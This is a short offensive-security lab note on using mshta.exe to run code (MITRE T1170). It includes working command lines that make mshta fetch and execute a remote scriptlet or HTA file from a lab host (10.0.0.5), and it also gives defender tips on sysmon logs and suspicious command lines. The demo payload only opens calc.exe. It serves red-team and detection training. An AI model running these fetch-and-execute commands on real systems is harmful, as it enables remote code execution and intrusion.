> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution.md). # MSHTA ## Execution Writing a scriptlet file that will launch calc.exe when invoked: {% code title="" %} ```markup ``` {% endcode %} Invoking the scriptlet file hosted remotely: {% code title="attacker\@victim" %} ```csharp # from powershell /cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close(); ``` {% endcode %} ## Observations As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe: ![](/files/-LHKCYjhpCr1FQH8FZdr) As a defender, look at sysmon logs for mshta establishing network connections: ![](/files/-LHKEILHR5pBRaB5KGNc) Also, suspicious commandlines: ![](/files/-LHKE-qfgAQ6ampZ5gu6) ## Bonus The hta file can be invoked like so: ```csharp mshta.exe http://10.0.0.5/m.hta ``` ![](/files/-LHKNDhiNyaEpAD1k6EM) or by navigating to the file itself, launching it and clicking run: ![](/files/-LHKOJ_6AwX7wGoW84pc) {% code title="" %} ```markup Nothing to see here.. ``` {% endcode %} ## References {% embed url="" %}